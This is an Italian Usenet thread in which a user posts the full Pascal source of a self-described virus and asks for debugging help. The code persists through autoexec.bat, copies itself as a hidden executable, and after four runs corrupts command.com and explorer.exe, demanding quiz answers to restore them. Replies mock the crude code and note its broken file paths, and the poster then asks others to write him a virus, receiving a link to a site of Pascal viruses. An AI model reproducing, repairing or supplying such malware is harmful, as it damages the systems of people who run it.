Newsgroup: it.comp.lang.pascal
Titolo: correzione virus

ciao a tutti...sto "scrivendo" questo virus in pascal ma mi indica un errore
alla riga 22  assign(auto,'c:.bat'); sapete dirmi come mai? mi dice file non
trovato e inoltre ci sono
altri problemi dopo? grazie ciao
program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
auto,zone,gruppo,command,explorer:autoexec;
volte:conta;
harddisk:string[16];
dischetto:string[5];
j,contatore:integer;
risp:string[10];
procedure fallito;
begin
write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
DELAY(2000);
HALT;
END;
begin
invio:=chr(13);
j:=0;
i:=chr(255);
assign(auto,'c:.bat');
reset (auto);
assign(volte,'c:.txt');
repeat
read(auto,copy);
if copy=i then j:=1;
until (eof(auto)) or (j=1);
if j<> 1 then begin
seek(auto,filesize(auto));
write(auto,invio);
invio:=char(10);
write(auto,invio);
write (auto,i);
close (auto);
harddisk:='c:.exe';
dischetto:='.exe';
insert(i,harddisk,12);
insert(i,dischetto,1);
assign(zone,dischetto);
assign(gruppo,harddisk);
reset(zone);
rewrite(gruppo);
repeat
read(zone,copy);
write(gruppo,copy);
until eof(zone);
close (zone);
close(gruppo);
rewrite(volte);
write(volte,j);
close(volte);
SetFAttr(gruppo,Hidden);
end;
reset (volte);
read(volte,contatore);
reset(volte);
contatore:=contatore+1;
write(volte,contatore);
close(volte);
reset(volte);
read(volte,contatore);
if contatore=4 then begin
assign(command,'c:.com');
assign(explorer,'c:.exe');
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)+2);
reset(explorer);
write(explorer,copy);
read(command,copy);
copy:=char(ord(copy)+2);
reset (command);
write (command,copy);
close (command);
close (explorer);
CLRSCR;
WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
GOTOXY(1,5);
WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS');
WRITELN('SE NON LO FARAI...PEGGIO PER TE');
WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI ');
WRITELN('SBAGLIARE');
DELAY(2500);
READKEY;
CLRSCR;
REPEAT
WRITELN('Qual'' e' il nome di Mitnick?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin')
THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix')
THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='COM') OR (risp='Com') OR (RISP='com')
THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)-2); {tolgo 2 al primo }
reset(explorer); {carattere di }
write(explorer,copy); {
command.com
 ed }
read(command,copy); {explorer.exe }
copy:=char(ord(copy)-2);
reset (command);
write (command,copy);
close (command);
close (explorer);
end;
end.

 assign(volte,'c:.txt');
dir c:.txt cosa ti torna? credo nulla...
penso dovresti mettere un nome di file corretto...
Bye,
Raktzo

 
Nella mia carriera di informatico ne ho visti molti di virus scritti in 
pascal ma questo č decisamente il piů rozzo... anche perke dubito che un 
attegiamento del genere funzioni ancora ai giorni nostri. Comunque 
consiglio personale. Riscrivilo identando un po' il codice { dopo la 10 
riga mi sono rifiutato di leggerlo! Non si capisce un H }.
type autoexec=file of char;
mi suona molto simile come il tipo di file "Text"
-- 
Il Razziatore,
The Only Good Windows is an uninstalled Windows
-----------------------------------------------
MSN   : 
IlRazz...@netscape.net
ICQ   : 67552596
Yhaoo : Razziatore82
-----------------------------------------------
Founder of MediaPlayer Project
http://mpp.iwebland.com
Inviato da X-Privat.Org - Registrazione gratuita 
http://www.x-privat.org/join.php

 ha scritto nel messaggio
news:2sM8g.5860$bH....@tornado.fastwebnet.it...


A parte che è un virus assurdo ma cmq che razza di file sarebbe
c:.bat?
Concordo sull'indentazione...
Bye

 c:.bat?
Credo che lui intendesse Autoexec.bat, file ormai obsoleto che fino al 
Windows98 { credo } gestiva il boot. credo che la sua intenzione sia 
quella di andarlo a sovrascrivere e di far partire il virus in 
automatico al boot del sistema... sono ipotesi ovviamente visto che dopo 
10 secondi ho smesso di leggere.


 Windows98 { credo } gestiva il boot.
Sì, credo anch'io. Un virus così al giorno d'oggi farebbe ben poche
vittime...!
Ciao,
Seth1982

ah ok...potreste scrivermene uno, anke semplice xke per l'esame di maturita 
volevo portare un virus da illustrare...
grazie ciao ciao 

dai un occhio qui:
http://internettrash.com/users/fdb/pascal.htm
cmq se vuoi un parere spassionato, alla maturità presentati con
qualcosa di veramente TUO!
Ciao,
Seth1982